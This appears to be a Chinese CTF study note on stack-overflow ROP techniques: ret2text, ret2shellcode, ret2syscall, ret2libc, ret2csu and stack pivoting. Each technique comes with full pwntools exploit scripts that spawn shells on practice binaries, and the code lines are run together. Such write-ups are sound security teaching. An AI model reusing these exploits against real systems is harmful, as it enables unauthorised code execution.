Rop
栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,程序的栈是从进程地址空间的高地址向低地址增长的。
栈溢出(ROP)
寻找危险函数
gets()函数:(输入不会限制长度,不会被'\x00'截断)
read()函数:(读的数据长度比输入的字符&buf的长度长,能够造成溢出)
write()函数:(写入的数据长度比输入的字符&buf的长度长,能够造成溢出)
确定填充长度
- 通过
ida靠栈的基地址,和ebp/rbp的地址偏移找到。
- 通过调试出入比填充长度长的数据,让程序报错,回显的地址与栈的
ebp地址相差的距离为填充长度.
题目类型
ret2text
例题就wiki的
ret2text。从main函数看出
gets()函数是漏洞点。还能在字符串里面找到system和/bin/sh字样。然后我们发现这个是一个无用的函数。
只需要这一部分就足够了。然后就测出偏移。基本上利用
pwndbg自带的指令cyclc。cyclc 50 //生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama拿到相对于返回地址的偏移为112,也可以利用寄存器的参数来算偏移
由于
esp = 0xffffce60,ebp = 0xffffcee8 ,又由于在ida里面s[esp+0x1c],所以计算得s距离ebp的偏移为112.接下来就是写exp了.#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context(log_level = "debug",arch = "i386",os = "linux")io = process("./ret2text")sys_addr = 0x0804863Agdb.attach(io,"b *0x0804869B\nc")payload = flat(['a'*112,sys_addr])io.sendafter("anything?",payload)io.sendline('ls')io.interactive()io.close()本地打通
ret2shellcode
例题wiki的ret2shellcode
可以看到,输入gets。不过这次没有溢出的漏洞,也没有后门函数没法直接跳转到system上。而
buf的地址却在bss段上.这样我们也知道了
buf_addr = 0x0804a080只要buf可以读写,那么我们就可以自己写一段shellcode来执行system()通过
vmmap我们看到了在程序0x0804a000-0x0804b000都可以读写,恰好buf的地址在这其中。接下来就是去寻找偏移了。看保护什么都没开。进行调试找偏移。
在
gdb里面可以看到esp和ebp的地址。然后通过计算得到偏移获取偏移也可以利用
pwntools自带的指令cyclic在返回报错那块能看到最后的返回函数是0x62616164,然后得到偏移然后就是写
exp了。#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context(log_level = "debug",arch = "i386",os = "linux")io = process("./ret2shellcode")buf_addr = 0x0804A080padding = 112shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode.payload = flat([shellcode.ljust(padding,'A'),buf_addr])io.recvuntil("No system for you this time !!!")#gdb.attach(io,"b *0x80483d0\nc")io.sendline(payload)io.sendline("ls")io.interactive()运行得到shell
ret2syscall
ret2syscall相当于是控制程序执行系统调用来获取shell,用系统调用号来区分入口函数可以看出没有什么栈溢出漏洞。需要我们去构造写入
execve('/bin/sh')关于系统调用:
>
linux的32位系统调用通过int 80h来实现的。>
> 应用程序调用系统调用的过程是:
>
> 1. 把系统调用的编号存入
eax> 2. 把函数参数存入其他通用寄存器
> 3. 触发0x80号中断(
int 0x80)通过系统调用执行的是
execve("/bin/sh",NULL,NULL)(32位)然后看到
eax的寄存器系统调用号,查看execve的系统调用号:cat /usr/include/asm/unistd_32.h | grep execveIn[1]: hex(11)Out[1]: '0xb' 所以
exa里面应该放0xb,然后现在需要的就是:>
eax = 0xb>
>
exb = /bin/sh>
>
ecx = 0>
>
edx = 0然后就需要用到ROPgadget
然后找到利用区域:
然后再找关于
ebx的ret找到利用位置。
padding = 112payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])至于为啥这样写,可以通过这个来解释:
利用这样依次填充
使得我们能够顺利执行payload。
<img src="https://i.loli.net/2021/04/20/kRjFOQo84JKSmNt.jpg" alt="ROPgadget-binsh.jpg" />
一如既往的计算。可以写
exp了#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context(log_level = "debug",arch = "i386",os = "linux")io = process("./ret2syscall")#ROPgadget to find pop-ret/int_0x80/binshpop_eax = 0x080bb196pop_3exx = 0x0806eb90padding = 112int_0x80 = 0x08049421binsh_addr = 0x080be408#write payloadpayload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])io.recvuntil("What do you plan to do?")#gdb.attach(io,"b *0x804f650\nc")io.sendline(payload)io.sendline('ls')io.interactive()ret2libc
由于没给后门函数,以及
libc库而题中只给了puts函数,然而我们通过objdump可以看到能利用puts函数的plt表和got表#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *from LibcSearcher import *context(log_level = "debug",arch = "i386",os = "linux")io = process("./ret2libc")if args.g: gdb.attach(io)elf = ELF("./ret2libc")put_plt = elf.plt["puts"]put_got = elf.got["puts"]start = elf.sym["_start"]payload1 = flat([112 * 'A',put_plt,start,put_got])#<-第一次泄露puts函数的地址io.sendafter("!?",payload1)puts_addr = u32(io.recv(4))libc = LibcSearcher('puts', puts_addr)libcbase = puts_addr - libc.sym["puts"]system = libcbase + libc.sym["system"]binsh = libcbase + libc.sym["/bin/sh"]payload2 = flat([112 * 'A',system,'0xdeadbeef',binsh])io.recvuntil("!?")io.sendline(payload2)io.senline("ls")io.interactive()ret2csu
主要函数里面由于read读入过多,可以让我们进行构造来获得shell
传参的取处我们选择利用
__libc_csu_init函数的万能传参利用这里的pop来进行传参。
在调试中进入write函数,看到
rbp和rsp然后计算偏移In [6]: rsp = 0x7fffffffdc48In [7]: rbp = 0x7fffffffdcd0 In [8]: rbp-rsp Out[8]: 136In [9]: hex(136) Out[9]: 0x88写入一部分
exp之后进行调试,可以看到write地址#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context(log_level = "debug",arch = "amd64",os = "linux")io = process("./level5")if args.g: gdb.attach(io)#io = remote("pwn2.jarvisoj.com",9884)elf = ELF("./level5",checksec=False)lib = ELF("libc-2.19.so",checksec=False)write_got = elf.got["write"]read_got = elf.got["read"]vulner_addr = elf.sym["vulnerable_function"]bss_addr = elf.bss()csu_op = 0x00400690csu_ed = 0x004006AAdef csu(r12,rdx,rsi,rdi,ret): global csu_ed,csu_op payload1 = flat([0x88*'a',csu_ed,p64(0),p64(1),r12,rdx,rsi,rdi,csu_op,0x38*'a',ret]) io.recvuntil("Input:\n") io.sendline(payload1) sleep(1)csu(write_got,8,write_got,1,vulner_addr)write_addr = u64(io.recv(6).ljust(8,'\x00'))libc = write_addr - lib.sym['write']mprotect_addr = libc + lib.sym["mprotect"]payload2 = flat([mprotect_addr,asm(shellcraft.sh())])#<-通过mprotect函数的来写入bss段,然后再执行mprotect,getshellcsu(read_got,len(payload2),bss_addr,0,vulner_addr)io.send(payload2)csu(bss_addr, 7, 0x1000, 0x600000, bss_addr + 8)print 'bss_addr = ' + hex(bss_addr)io.sendline('cat flag')io.interactive()最后得到flag.
栈迁移
栈迁移主要是说的leave指令:
mov esp,ebppop ebpret指令:pop eip- 第一个指令会改变
esp的值,第二个指令会改变ebp的值(ebp的值不是太重要)
- 我们主要想控制的是
esp的值,这里就要用到两个gadget(leave ret)第一个gadget用来改变ebp的值,第二个指令用来改变esp的值
栈迁移可以把栈迁移在
bss段和堆上。然后再去执行rop链.- 记录了一个没利用过的栈迁移。(pwnable.tw)
通过对
libc_csu_fini 的利用,由于libc_csu_fini 会调用一个 fini_array数组,而这个数组只有两个元素,而且当数组执行的时候,fini_array[1]比fini_array[0]先利用。void__libc_csu_init (int argc, char **argv, char **envp){ /* For dynamically linked executables the preinit array is executed by the dynamic linker (before initializing any shared object). */#ifndef LIBC_NONSHARED /* For static executables, preinit happens right before init. */ { const size_t size = __preinit_array_end - __preinit_array_start; size_t i; for (i = 0; i < size; i++) (*__preinit_array_start [i]) (argc, argv, envp); }#endif#ifndef NO_INITFINI _init ();#endif const size_t size = __init_array_end - __init_array_start; for (size_t i = 0; i < size; i++) (*__init_array_start [i]) (argc, argv, envp);}/* This function should not be used anymore. We run the executable's destructor now just like any other. We cannot remove the function, though. */void__libc_csu_fini (void){#ifndef LIBC_NONSHARED size_t i = __fini_array_end - __fini_array_start; while (i-- > 0) (*__fini_array_start [i]) ();# ifndef NO_INITFINI _fini ();# endif#endif}可以看到,
init调用init_array,fini 调用 fini_array 而且init_array是从0开始迭代增长,fini_array从i下标开始向0迭代.而且由于 程序一开始是从
start函数进行STATIC intLIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL), int argc, char **argv,#ifdef LIBC_START_MAIN_AUXVEC_ARG ElfW(auxv_t) *auxvec,#endif __typeof (main) init, void (*fini) (void), void (*rtld_fini) (void), void *stack_end)__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);执行流程就如
_start -> __libc_start_main -> init -> main -> fini利用流程大致是这样,进行修改,无限循环main,这样也能方便复写。(想到这样操作的是真的强)

浙公网安备 33010602011771号